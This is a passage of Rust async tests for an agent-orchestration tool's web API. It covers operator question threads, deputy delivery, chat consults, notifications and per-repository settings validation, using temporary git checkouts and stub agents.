12689            }))
12690        };
12691        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12692            .await
12693            .unwrap_err();
12694        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12695        let response = rejected.into_response();
12696        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12697            .await
12698            .unwrap();
12699        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12700        assert_eq!(body["code"], "question_text_unavailable");
12701        assert_eq!(body["reason"], "deputy_exhausted");
12702        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12703        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12704        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12705        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12706            .await
12707            .unwrap();
12708        assert_eq!(view.text_delivery.state, "live");
12709        assert!(view.question.waiter.is_none());
12710        assert!(view.question.cwd.is_none());
12711        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12712        ui.questions.drop_lease(&q.id);
12713        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12714            .await
12715            .unwrap_err();
12716        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12717        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12718        let _ = question_answer(
12719            State(ui.clone()),
12720            Path(q.id.clone()),
12721            Ok(Json(NewAnswer {
12722                choice: Some("hold".into()),
12723                text: None,
12724                ..Default::default()
12725            })),
12726        )
12727        .await
12728        .unwrap();
12729        assert_eq!(
12730            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12731            Some("hold")
12732        );
12733    }
12734
12735    #[tokio::test]
12736    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12737        let fx = Fixture::start().await;
12738        let store = fx.questions();
12739        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12740        store
12741            .update(&id, |q| {
12742                q.node = crate::land::APPROVAL_NODE.to_owned();
12743                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12744                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12745                Ok(())
12746            })
12747            .unwrap();
12748        let path = format!("/api/questions/{id}/say");
12749        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12750        assert_eq!(refused.status, 422, "{}", refused.body);
12751        assert!(
12752            refused.json()["error"]
12753                .as_str()
12754                .unwrap()
12755                .contains("deputy_exhausted")
12756        );
12757        assert!(store.get(&id).unwrap().thread.is_empty());
12758
12759        // A final live deputy is usable even with no ordinary waiter/cwd.
12760        store.beat(&id, ask::WaiterKind::Deputy);
12761        let view = fx.get("/api/questions").await.json();
12762        assert_eq!(view[0]["text_delivery"]["state"], "live");
12763        let accepted = fx
12764            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12765            .await;
12766        assert_eq!(accepted.status, 200, "{}", accepted.body);
12767        let before = std::fs::read(store.path_of(&id)).unwrap();
12768
12769        // The recipient exits between rendering and sending. Rejection must
12770        // preserve previously accepted text, the answer and delivery cursor.
12771        store.drop_lease(&id);
12772        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12773        assert_eq!(refused.status, 422, "{}", refused.body);
12774        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12775        let held = fx
12776            .post(
12777                &format!("/api/questions/{id}/answer"),
12778                Some(r#"{"choice":"hold"}"#),
12779            )
12780            .await;
12781        assert_eq!(held.status, 200, "{}", held.body);
12782        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12783    }
12784
12785    #[tokio::test]
12786    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12787        let repo = tempfile::tempdir().unwrap();
12788        let mut cfg = stub_config();
12789        cfg.daemon.max_deputies = 0;
12790        std::fs::write(
12791            repo.path().join("magi.toml"),
12792            toml::to_string(&cfg).unwrap(),
12793        )
12794        .unwrap();
12795        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12796        let mut status = crate::daemon::Status::new();
12797        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12798        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12799        let id = ask(&fx, "Explain?", &["hold"]);
12800        fx.questions()
12801            .update(&id, |q| {
12802                q.node = crate::land::APPROVAL_NODE.into();
12803                q.deputy = Some(ask::Deputy::new("context".into()));
12804                q.deputy.as_mut().unwrap().agent = "stub".into();
12805                Ok(())
12806            })
12807            .unwrap();
12808        cfg.daemon.max_deputies = 1;
12809        std::fs::write(
12810            repo.path().join("magi.toml"),
12811            toml::to_string(&cfg).unwrap(),
12812        )
12813        .unwrap();
12814        let view = fx.get("/api/questions").await.json();
12815        assert_eq!(view[0]["deputies_enabled"], true);
12816        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12817        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12818        let res = fx
12819            .post(
12820                &format!("/api/questions/{id}/say"),
12821                Some(r#"{"body":"Please explain"}"#),
12822            )
12823            .await;
12824        assert_eq!(res.status, 422, "{}", res.body);
12825        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12826    }
12827
12828    #[tokio::test]
12829    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12830        let fx = Fixture::start().await;
12831        let id = ask(&fx, "No seat", &[]);
12832        let store = fx.questions();
12833        let before = std::fs::read(store.path_of(&id)).unwrap();
12834        let res = fx
12835            .post(
12836                &format!("/api/questions/{id}/say"),
12837                Some(r#"{"body":"hello"}"#),
12838            )
12839            .await;
12840        assert_eq!(res.status, 422, "{}", res.body);
12841        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12842        let res = fx
12843            .post(
12844                &format!("/api/questions/{id}/answer"),
12845                Some(r#"{"text":"hello"}"#),
12846            )
12847            .await;
12848        assert_eq!(res.status, 200, "{}", res.body);
12849        assert_eq!(
12850            store.get(&id).unwrap().resolution().as_deref(),
12851            Some("hello")
12852        );
12853    }
12854
12855    #[tokio::test]
12856    async fn saying_something_appends_a_turn_without_answering() {
12857        let fx = Fixture::start().await;
12858        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12859        fx.questions().beat(&id, ask::WaiterKind::Asker);
12860        let path = format!("/api/questions/{id}/say");
12861
12862        let res = fx
12863            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12864            .await;
12865        assert_eq!(res.status, 200, "{}", res.body);
12866        let body = res.json();
12867        assert_eq!(body["status"], "open", "talking back is not a decision");
12868        assert_eq!(body["answer"], Value::Null);
12869        assert_eq!(body["thread"][0]["who"], "operator");
12870        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12871        assert_eq!(body["waiting_on_agent"], true);
12872        // Still open, still counted, still exactly one question.
12873        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12874    }
12875
12876    #[tokio::test]
12877    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12878        let fx = Fixture::start().await;
12879        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12880
12881        let list = fx.get("/api/questions").await.json();
12882        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12883
12884        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12885        assert_eq!(res.status, 409, "{}", res.body);
12886        let q = fx.questions().get(&id).unwrap();
12887        assert!(q.status.open());
12888        assert!(q.consult.is_none());
12889    }
12890
12891    #[tokio::test]
12892    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12893        let fx = Fixture::start().await;
12894        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12895        let cfg = Config {
12896            agents: vec![crate::config::AgentSpec {
12897                id: "mock".to_owned(),
12898                kind: crate::config::AgentKind::Command,
12899                model: None,
12900                command: vec!["true".to_owned()],
12901                extra_args: Vec::new(),
12902                env: Default::default(),
12903                prompt_delivery: None,
12904                max_turn_secs: None,
12905            }],
12906            ..Config::default()
12907        };
12908        let talk = crate::talk::begin(
12909            &fx.talks(),
12910            &cfg,
12911            fx.home.path().to_path_buf(),
12912            Some("mock"),
12913        )
12914        .unwrap();
12915        let mut task = Task::new(
12916            "t".to_owned(),
12917            "Do it".to_owned(),
12918            PathBuf::from("/repo/magi"),
12919            Source::Agent {
12920                run: talk.id.clone(),
12921                node: crate::queue::CHAT_NODE.to_owned(),
12922            },
12923        );
12924        task.start("20260902-000000-beef".to_owned());
12925        fx.queue().put(&mut task).unwrap();
12926
12927        let list = fx.get("/api/questions").await.json();
12928        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12929        assert_eq!(
12930            list[0]["choices"],
12931            serde_json::json!(["SQLite", "Redis"]),
12932            "the hand-over is never a choice"
12933        );
12934        fx.questions()
12935            .update(&id, |q| {
12936                q.node = crate::land::APPROVAL_NODE.into();
12937                q.choices = vec!["merge".into(), "hold".into()];
12938                Ok(())
12939            })
12940            .unwrap();
12941        let list = fx.get("/api/questions").await.json();
12942        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12943        assert_eq!(list[0]["can_consult_chat"], true);
12944        fx.questions()
12945            .update(&id, |q| {
12946                q.node = crate::bump::NOTICE_NODE.into();
12947                Ok(())
12948            })
12949            .unwrap();
12950        let list = fx.get("/api/questions").await.json();
12951        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12952        assert_eq!(list[0]["can_consult_chat"], false);
12953    }
12954
12955    #[tokio::test]
12956    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12957        let fx = Fixture::start().await;
12958        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12959        fx.questions()
12960            .update(&id, |q| {
12961                q.node = crate::land::APPROVAL_NODE.into();
12962                q.choices = vec!["merge".into(), "hold".into()];
12963                Ok(())
12964            })
12965            .unwrap();
12966        let cfg = Config {
12967            agents: vec![crate::config::AgentSpec {
12968                id: "mock".to_owned(),
12969                kind: crate::config::AgentKind::Command,
12970                model: None,
12971                command: vec!["true".to_owned()],
12972                extra_args: Vec::new(),
12973                env: Default::default(),
12974                prompt_delivery: None,
12975                max_turn_secs: None,
12976            }],
12977            ..Config::default()
12978        };
12979        // Not a git working tree, so its `magi.toml` is read from disk.
12980        let repo = fx.home.path().join("chat-repo");
12981        std::fs::create_dir_all(&repo).unwrap();
12982        let toml = repo.join("magi.toml");
12983        std::fs::write(&toml, "this is = = not toml").unwrap();
12984        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12985        let mut task = Task::new(
12986            "t".to_owned(),
12987            "Do it".to_owned(),
12988            PathBuf::from("/repo/magi"),
12989            Source::Agent {
12990                run: talk.id.clone(),
12991                node: crate::queue::CHAT_NODE.to_owned(),
12992            },
12993        );
12994        task.start("20260902-000000-beef".to_owned());
12995        fx.queue().put(&mut task).unwrap();
12996
12997        let path = format!("/api/questions/{id}/consult");
12998        let res = fx.post(&path, None).await;
12999        assert!(res.status >= 400, "{}", res.body);
13000        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13001        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13002
13003        std::fs::write(&toml, "").unwrap();
13004        let res = fx.post(&path, None).await;
13005        assert_eq!(res.status, 202, "{}", res.body);
13006        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13007        let q = fx.questions().get(&id).unwrap();
13008        assert!(q.status.open());
13009        assert!(q.answer.is_none());
13010        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13011        assert_eq!(res.json()["can_consult_chat"], true);
13012        let list = fx.get("/api/questions").await.json();
13013        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13014        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13015
13016        let res = fx
13017            .post(
13018                &format!("/api/questions/{id}/answer"),
13019                Some(r#"{"choice":"hold"}"#),
13020            )
13021            .await;
13022        assert_eq!(res.status, 200, "{}", res.body);
13023        assert_eq!(res.json()["answer"]["choice"], "hold");
13024        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13025        assert_eq!(res.json()["can_consult_chat"], false);
13026        assert_eq!(fx.post(&path, None).await.status, 409);
13027
13028        let mut talk = fx.talks().get(&talk.id).unwrap();
13029        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13030        let list = fx.get("/api/questions").await.json();
13031        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13032        assert_eq!(list[0]["origin_chat_closed"], true);
13033        assert_eq!(list[0]["can_consult_chat"], false);
13034
13035        fx.talks().remove(&talk.id).unwrap();
13036        let list = fx.get("/api/questions").await.json();
13037        assert_eq!(list[0]["origin_chat"], Value::Null);
13038        assert_eq!(list[0]["origin_chat_closed"], false);
13039        assert_eq!(list[0]["can_consult_chat"], false);
13040    }
13041
13042    #[tokio::test]
13043    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13044        let fx = Fixture::start().await;
13045        let store = fx.questions();
13046        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13047        store.beat(&id, ask::WaiterKind::Asker);
13048        assert_eq!(
13049            fx.get("/api/health").await.json()["questions_needs_owner"],
13050            1
13051        );
13052
13053        // The owner asks back instead of deciding: the ask bar, the nav badge
13054        // and the title must stop naming this question, because there is
13055        // nothing to decide until the agent answers - `status` alone cannot
13056        // say that, which is the whole reason `questions_needs_owner` exists
13057        // alongside `questions_open`.
13058        let res = fx
13059            .post(
13060                &format!("/api/questions/{id}/say"),
13061                Some(r#"{"body":"why not Postgres?"}"#),
13062            )
13063            .await;
13064        assert_eq!(res.status, 200, "{}", res.body);
13065        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13066        assert_eq!(
13067            fx.get("/api/health").await.json()["questions_needs_owner"],
13068            0,
13069            "waiting on the agent is not waiting on the owner"
13070        );
13071
13072        // `magi ask --thread` replying is what brings the owner count back -
13073        // the same event that would resume the CLI call blocked in `magi
13074        // ask`.
13075        let mut q = store.get(&id).expect("get");
13076        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13077            .expect("reply");
13078        store.put(&mut q).expect("put");
13079        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13080        assert_eq!(
13081            fx.get("/api/health").await.json()["questions_needs_owner"],
13082            1,
13083            "the agent's reply is what should light the banner back up"
13084        );
13085    }
13086
13087    #[tokio::test]
13088    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13089        let fx = Fixture::start().await;
13090        let store = fx.questions();
13091
13092        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13093        let res = fx
13094            .post(
13095                &format!("/api/questions/{empty_id}/say"),
13096                Some(r#"{"body":"   "}"#),
13097            )
13098            .await;
13099        assert_eq!(res.status, 400, "{}", res.body);
13100
13101        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13102        let mut answered = store.get(&answered_id).expect("get");
13103        answered
13104            .answer(Answer::Choice("SQLite".to_owned()))
13105            .expect("answer");
13106        store.put(&mut answered).expect("put");
13107        let res = fx
13108            .post(
13109                &format!("/api/questions/{answered_id}/say"),
13110                Some(r#"{"body":"still there?"}"#),
13111            )
13112            .await;
13113        assert_eq!(res.status, 409, "{}", res.body);
13114
13115        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13116        let mut abandoned = store.get(&abandoned_id).expect("get");
13117        abandoned.abandon("timed out");
13118        store.put(&mut abandoned).expect("put");
13119        let res = fx
13120            .post(
13121                &format!("/api/questions/{abandoned_id}/say"),
13122                Some(r#"{"body":"still there?"}"#),
13123            )
13124            .await;
13125        assert_eq!(res.status, 409, "{}", res.body);
13126    }
13127
13128    #[tokio::test]
13129    async fn an_answer_the_question_does_not_offer_is_refused() {
13130        let fx = Fixture::start().await;
13131        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13132        let path = format!("/api/questions/{id}/answer");
13133
13134        for body in [
13135            r#"{"choice":"Postgres"}"#,
13136            r#"{"text":"whatever you think"}"#,
13137            r#"{"choice":"Redis","text":"both"}"#,
13138            r#"{}"#,
13139        ] {
13140            let res = fx.post(&path, Some(body)).await;
13141            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13142            assert!(res.json()["error"].is_string(), "{}", res.body);
13143        }
13144        // Nothing above may have answered it.
13145        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13146    }
13147
13148    #[tokio::test]
13149    async fn a_free_text_question_takes_text_and_not_a_choice() {
13150        let fx = Fixture::start().await;
13151        let id = ask(&fx, "What should the flag be called?", &[]);
13152        fx.questions().beat(&id, ask::WaiterKind::Asker);
13153        let path = format!("/api/questions/{id}/answer");
13154
13155        assert_eq!(
13156            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13157            400
13158        );
13159        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13160        assert_eq!(res.status, 200, "{}", res.body);
13161        assert_eq!(res.json()["answer"]["text"], "--json");
13162    }
13163
13164    #[tokio::test]
13165    async fn an_unknown_question_is_a_json_404() {
13166        let fx = Fixture::start().await;
13167        let res = fx
13168            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13169            .await;
13170        assert_eq!(res.status, 404, "{}", res.body);
13171        assert!(res.json()["error"].is_string());
13172    }
13173
13174    #[tokio::test]
13175    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13176        let fx = Fixture::start().await;
13177        let questions = Questions::at(fx.home.path().join("questions"));
13178        let store = Notices::at(fx.home.path().join("notifications"));
13179        let mut q = ask::Question::new(
13180            "t1".into(),
13181            "conduct".into(),
13182            "conductor".into(),
13183            "Continue?".into(),
13184            String::new(),
13185            Vec::new(),
13186        );
13187        questions.put(&mut q).unwrap();
13188        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13189        n.covered_by = Some(q.id.clone());
13190        let n = store.raise(n).unwrap();
13191        let listed = fx.get("/api/notifications").await.json();
13192        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13193        questions
13194            .update(&q.id, |q| {
13195                q.abandon("run gone");
13196                Ok(())
13197            })
13198            .unwrap();
13199        let listed = fx.get("/api/notifications").await.json();
13200        assert!(listed["items"][0]["answerable_question"].is_null());
13201        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13202        assert!(
13203            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13204                .unwrap()
13205                .contains("answerable_question")
13206        );
13207    }
13208
13209    #[tokio::test]
13210    async fn notifications_list_read_dismiss_and_health_agree() {
13211        let fx = Fixture::start().await;
13212        let store = Notices::at(fx.home.path().join("notifications"));
13213        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
13214        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
13215
13216        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
13217        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
13218
13219        store
13220            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
13221            .unwrap();
13222        let health = fx.get("/api/health").await.json();
13223        assert_eq!(health["notifications_unread"], 2);
13224        assert_ne!(
13225            health["notifications_rev"], rev0,
13226            "the badge must move live"
13227        );
13228
13229        let listed = fx.get("/api/notifications").await.json();
13230        assert_eq!(listed["unread"], 2);
13231        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
13232        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
13233
13234        let read = fx
13235            .post(&format!("/api/notifications/{}/read", a.id), None)
13236            .await;
13237        assert_eq!(read.status, 200, "{}", read.body);
13238        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
13239
13240        let gone = fx
13241            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
13242            .await;
13243        assert_eq!(gone.status, 200, "{}", gone.body);
13244        let listed = fx.get("/api/notifications").await.json();
13245        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13246        assert_eq!(listed["unread"], 0);
13247
13248        store.raise(Notice::info("x", "again")).unwrap();
13249        let all = fx.post("/api/notifications/read-all", None).await;
13250        assert_eq!(all.status, 200, "{}", all.body);
13251        assert_eq!(all.json()["marked"], 1);
13252        assert_eq!(
13253            fx.get("/api/health").await.json()["notifications_unread"],
13254            0
13255        );
13256
13257        let missing = fx.post("/api/notifications/nope/read", None).await;
13258        assert_eq!(missing.status, 404, "{}", missing.body);
13259        assert!(missing.json()["error"].is_string());
13260    }
13261
13262    /// New work reaches the queue through `magi task add`, a standing talk's
13263    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
13264    /// so the compose form and that route are gone. The tests that covered
13265    /// that route's validation went with it, and nothing was left asserting
13266    /// it stays gone — so a re-added handler would silently let the phone
13267    /// file briefs no one validated.
13268    #[tokio::test]
13269    async fn a_task_cannot_be_filed_over_the_phone_directly() {
13270        let f = Fixture::start().await;
13271
13272        let res = f
13273            .post(
13274                "/api/queue",
13275                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
13276            )
13277            .await;
13278
13279        assert_eq!(
13280            res.status, 405,
13281            "POST /api/queue must not be a route: {}",
13282            res.body
13283        );
13284        assert!(
13285            f.queue().list().is_empty(),
13286            "a task filed by a route that does not exist must not reach the disk"
13287        );
13288        // The path itself is still served — the Queue view reads it — and the
13289        // per-task controls are untouched by the entry being removed.
13290        assert_eq!(f.get("/api/queue").await.status, 200);
13291    }
13292
13293    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
13294    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
13295        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
13296            .expect("checkout dir");
13297    }
13298
13299    /// Two command agents, so a config needs no real CLI.
13300    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13301
13302    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13303        let tmp = TempDir::new().expect("tempdir");
13304        let repo = tmp.path().join("repo");
13305        std::fs::create_dir_all(&repo).expect("repo dir");
13306        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13307        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13308        if let Some(text) = machine_toml {
13309            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13310            std::fs::write(&machine, text).expect("machine toml");
13311        }
13312        (tmp, repo, machine)
13313    }
13314
13315    async fn settings_checkout(path: &FsPath, text: &str) {
13316        std::fs::create_dir_all(path).unwrap();
13317        std::fs::write(path.join("magi.toml"), text).unwrap();
13318        for args in [
13319            vec!["init", "-b", "main"],
13320            vec!["add", "magi.toml"],
13321            vec![
13322                "-c",
13323                "user.name=Test",
13324                "-c",
13325                "user.email=test@example.invalid",
13326                "commit",
13327                "-m",
13328                "fixture",
13329            ],
13330            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
13331            vec![
13332                "symbolic-ref",
13333                "refs/remotes/origin/HEAD",
13334                "refs/remotes/origin/main",
13335            ],
13336        ] {
13337            crate::git::git(path, &args).await.unwrap();
13338        }
13339    }
13340
13341    #[tokio::test]
13342    async fn settings_context_handlers_validate_and_save_without_a_socket() {
13343        let (tmp, repo, machine) =
13344            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
13345        let root = tmp.path().join("roots");
13346        let selected = root.join("host/owner/selected");
13347        settings_checkout(
13348            &selected,
13349            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
13350        )
13351        .await;
13352        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
13353        let before = std::fs::read(&machine).unwrap();
13354        let ui = Arc::new(
13355            Ui::new(
13356                Queue::at(tmp.path().join("queue")),
13357                Questions::at(tmp.path().join("questions")),
13358                Talks::at(tmp.path().join("talks")),
13359                tmp.path().join("runs"),
13360                tmp.path().to_path_buf(),
13361                repo.clone(),
13362            )
13363            .with_machine_config(Some(machine.clone())),
13364        );
13365        let query = || {
13366            Query(SettingsQuery {
13367                repo: Some(selected.clone()),
13368            })
13369        };
13370        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
13371        assert!(v.error.is_none(), "{:?}", v.error);
13372        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
13373        assert_eq!(conductor.source, "repo");
13374        assert_eq!(
13375            conductor.machine_value,
13376            Some(toml::Value::String("a".into()))
13377        );
13378        assert!(!conductor.editable);
13379        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
13380        assert_eq!(
13381            judges.count.as_ref().unwrap().machine_value,
13382            Some(toml::Value::Integer(1))
13383        );
13384        assert!(
13385            !v.roles
13386                .iter()
13387                .find(|r| r.key == "reviewers")
13388                .unwrap()
13389                .editable
13390        );
13391        let unknown = || {
13392            Query(SettingsQuery {
13393                repo: Some(tmp.path().to_path_buf()),
13394            })
13395        };
13396        assert_eq!(
13397            settings_get(State(ui.clone()), unknown())
13398                .await
13399                .unwrap_err()
13400                .status,
13401            StatusCode::UNPROCESSABLE_ENTITY
13402        );
13403        let body = || {
13404            Ok(Json(RolesBody {
13405                revision: v.revision.clone(),
13406                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
13407                counts: Default::default(),
13408            }))
13409        };
13410        assert_eq!(
13411            settings_put_roles(State(ui.clone()), unknown(), body())
13412                .await
13413                .unwrap_err()
13414                .status,
13415            StatusCode::UNPROCESSABLE_ENTITY
13416        );
13417        assert_eq!(std::fs::read(&machine).unwrap(), before);
13418        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
13419            .await
13420            .unwrap();
13421        assert_eq!(
13422            saved.repo,
13423            selected.canonicalize().unwrap().display().to_string()
13424        );
13425        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
13426        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
13427        // A cache miss refreshes the stable candidate list exactly for validation.
13428        let fresh = root.join("host/owner/fresh");
13429        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
13430        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
13431            .await
13432            .unwrap();
13433        assert_eq!(fresh_view.repositories.len(), 3);
13434    }
13435
13436    #[tokio::test]
13437    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
13438        let (tmp, repo, machine) = settings_dirs(
13439            "[roles]\nreviewers = [\"a\"]\n",
13440            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
13441        );
13442        let root = tmp.path().join("roots");
13443        let selected = root.join("host/owner/selected");
13444        settings_checkout(
13445            &selected,
13446            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
13447        )
13448        .await;
13449        let broken = root.join("host/owner/broken");
13450        settings_checkout(&broken, "[roles\nbroken").await;
13451        let machine_text = format!(
13452            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
13453            toml::Value::String(root.display().to_string())
13454        );
13455        std::fs::write(&machine, &machine_text).unwrap();
13456        let originals: Vec<_> = [&repo, &selected, &broken]
13457            .iter()
13458            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
13459            .collect();
13460        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
13461        let default = f.get("/api/settings").await.json();
13462        assert_eq!(
13463            default["repo"],
13464            repo.canonicalize().unwrap().display().to_string()
13465        );
13466        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
13467        let query = format!("?repo={}", selected.display());
13468        let res = f.get(&format!("/api/settings{query}")).await;
13469        assert_eq!(res.status, 200, "{}", res.body);
13470        let v = res.json();
13471        assert!(v["error"].is_null(), "{v}");
13472        assert_eq!(v["repositories"], default["repositories"]);
13473        let role = |key: &str| {
13474            v["roles"]
13475                .as_array()
13476                .unwrap()
13477                .iter()
13478                .find(|r| r["key"] == key)
13479                .unwrap()
13480        };
13481        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
13482        assert_eq!(role("advisors")["source"], "repo");
13483        assert_eq!(role("advisors")["editable"], false);
13484        assert!(role("advisors")["machine_value"].is_null());
13485        assert_eq!(role("judges")["count"]["value"], 2);
13486        assert_eq!(role("judges")["count"]["machine_value"], 1);
13487        assert_eq!(role("judges")["count"]["source"], "repo");
13488        let source = role("judges")["count"]["source_path"].as_str().unwrap();
13489        assert!(
13490            source.contains("origin/main") && !source.contains("magi/config/"),
13491            "{source}"
13492        );
13493        assert_eq!(
13494            role("reviewers")["editable"],
13495            false,
13496            "default context outside roots must protect its declarations"
13497        );
13498        let body =
13499            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
13500        let unknown = format!("?repo={}", tmp.path().display());
13501        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
13502        assert_eq!(
13503            f.put(&format!("/api/settings/roles{unknown}"), &body)
13504                .await
13505                .status,
13506            422
13507        );
13508        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
13509        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
13510            .to_string();
13511        assert_eq!(
13512            f.put(&format!("/api/settings/roles{query}"), &refuse)
13513                .await
13514                .status,
13515            422
13516        );
13517        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
13518        assert_eq!(saved.status, 200, "{}", saved.body);
13519        assert_eq!(saved.json()["repo"], v["repo"]);
13520        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
